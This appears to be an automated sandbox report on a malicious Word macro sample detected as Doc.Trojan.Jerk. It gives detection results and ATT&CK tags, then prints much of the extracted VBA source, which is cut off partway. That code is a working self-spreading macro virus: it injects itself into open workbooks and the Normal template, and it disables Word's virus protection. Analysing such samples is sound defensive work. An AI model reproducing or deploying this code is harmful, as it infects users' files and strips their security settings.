MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a Microsoft Word document containing VBA macros, as indicated by the OLE_VBA_MACROS heuristic and the presence of the macros.bas file. The VBA code appears to be designed to spread to other workbooks using the GetObject call and potentially execute further malicious actions. ClamAV detections further confirm its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Jerk-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Jerk-7
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
GetObject call high OLE_VBA_GETOBJGetObject call
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 37797 bytes |
SHA-256: 6512ce43e60c2eee5ab5d019b7863de3e5800114a3ecc86eaec5d717c8cc82fd |
|||
|
Detection
ClamAV:
Doc.Trojan.Jerk-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
' 09:08:05: - ÷åòâåðã, 29 àïð 1999
' Þ. Âëàäèìèðîâ
'
' 02:43:46: PM - Thursday, 25 Feb 1999
' Data Dimensions, Inc.
'
Private Sub Workbook()
End Sub
Deactivate()
Private Sub Workbook_Deactivate()
On Error Resume Next
Const LVGJI = 1, SEULYH = True, EUAQKIZ = False, YMSVPZW = 0
Dim YTJGR, XNRALXSMP As String
Dim OPAWYDTZZBY, MCLMAPXPO As Integer
Dim JVCCZDVIIHCQCA As Boolean
XNRALXSMP = "ThisWorkbook"
YTJGR = Application.ThisWorkbook.VBProject.VBComponents.Item(LVGJI).CodeModule.Lines(1, Application.ThisWorkbook.VBProject.VBComponents.Item(LVGJI).CodeModule.CountOfLines)
Call LCPYRYPQ(YTJGR)
For OPAWYDTZZBY = LVGJI To Application.Workbooks.Count
JVCCZDVIIHCQCA = EUAQKIZ
For MCLMAPXPO = LVGJI To Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Count
If Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.CountOfLines = YMSVPZW Then
If Application.Workbooks.Item(OPAWYDTZZBY).Path <> "" And Application.Workbooks.Item(OPAWYDTZZBY).Saved = SEULYH And JVCCZDVIIHCQCA = EUAQKIZ Then JVCCZDVIIHCQCA = SEULYH
Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.InsertLines LVGJI, YTJGR
If Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).Name = XNRALXSMP Then
Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.ReplaceLine LVGJI * 33, "Private Sub Workbook_Deactivate()"
Else
Application.Workbooks.Item(OPAWYDTZZBY).VBProject.VBComponents.Item(MCLMAPXPO).CodeModule.ReplaceLine LVGJI * 33, "Private Sub Worksheet_Deactivate()"
End If
End If
Next MCLMAPXPO
If JVCCZDVIIHCQCA = SEULYH Then Application.Workbooks.Item(OPAWYDTZZBY).Save
Next OPAWYDTZZBY
End Sub
Private Sub Document_Close()
On Error Resume Next
Const SEULYH = True, EUAQKIZ = False, YMSVPZW = 0, LVGJI = 1, SJZRQRAYXQV = wdFormatDocument, KCZYRNZEUEJJ = wdFormatTemplate, EYSLR = ":"
Dim JVCCZDVIIHCQCA, OXDLMOC, SGHYNCYLRCBDV, UXSET As Boolean
Dim ZFCIWTDSRYAT, CWTEZYOEYDW As Object
Dim TFSCITL, YTJGR As String
If Month(LVGJI * Now) > LVGJI * 2 + LVGJI * 3 And Day(LVGJI * Now) = 4 + LVGJI * 10 Then MsgBox "V guvax " & Application.UserName & " vf n ovt fghcvq wrex!", 0, "www.all.net"
Set ZFCIWTDSRYAT = ActiveDocument.VBProject.VBComponents.Item(LVGJI)
Set CWTEZYOEYDW = NormalTemplate.VBProject.VBComponents.Item(LVGJI)
Randomize
SGHYNCYLRCBDV = EUAQKIZ
UXSET = EUAQKIZ
If ZFCIWTDSRYAT.CodeModule.CountOfLines <> YMSVPZW Then SGHYNCYLRCBDV = SEULYH
If CWTEZYOEYDW.CodeModule.CountOfLines <> YMSVPZW Then UXSET = SEULYH
Options.VirusProtection = EUAQKIZ
If (SGHYNCYLRCBDV = SEULYH Xor UXSET = SEULYH) And (ActiveDocument.SaveFormat = SJZRQRAYXQV Or ActiveDocument.SaveFormat = KCZYRNZEUEJJ) Then
If SGHYNCYLRCBDV = SEULYH Then
OXDLMOC = NormalTemplate.Saved
YTJGR = ZFCIWTDSRYAT.CodeModule.Lines(LVGJI, ZFCIWTDSRYAT.CodeModule.CountOfLines)
Call UWCCEZFMDCAUB(YTJGR)
If Int(Rnd * 10 * LVGJI) = LVGJI * 7 Then Call TKJABLVJAZHWD(YTJGR)
Call UQCEF(YTJGR)
CWTEZYOEYDW.CodeModule.InsertLines LVGJI, YTJGR
If OXDLMOC = SEULYH Then NormalTemplate.Save
End If
TFSCITL = Mid(ActiveDocument.FullName, 2, LVGJI)
If UXSET = SEULYH And (TFSCITL = EYSLR Or ActiveDocument.Saved = EUAQKIZ) Then
JVCCZDVIIHCQCA = ActiveDocument.Saved
YTJGR = CWTEZYOEYDW.CodeModule.Lines(LVGJI, CWTEZYOEYDW.CodeModule.CountOfLines)
Call UQCEF(YTJGR)
ZFCIWTDSRYAT.CodeModule.InsertLines LVGJI, YTJGR
If JVCCZDVIIHCQCA = SEULYH Then ActiveDocument.Save
End If
End If
End Sub
Private Sub TKJABLVJAZHWD(ByRef YTJGR As String)
On Error Resume Next
Const CUECUDXPFKS = 48, MHXQTUVBJOZJEAY = 15, PERJPASPFQ = 5, LCAVGMOJMINKZP = 65, OEATCCZYRENHWJY = 90, LVGJI = 1, SEULYH = True, EUAQKIZ = Fal
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.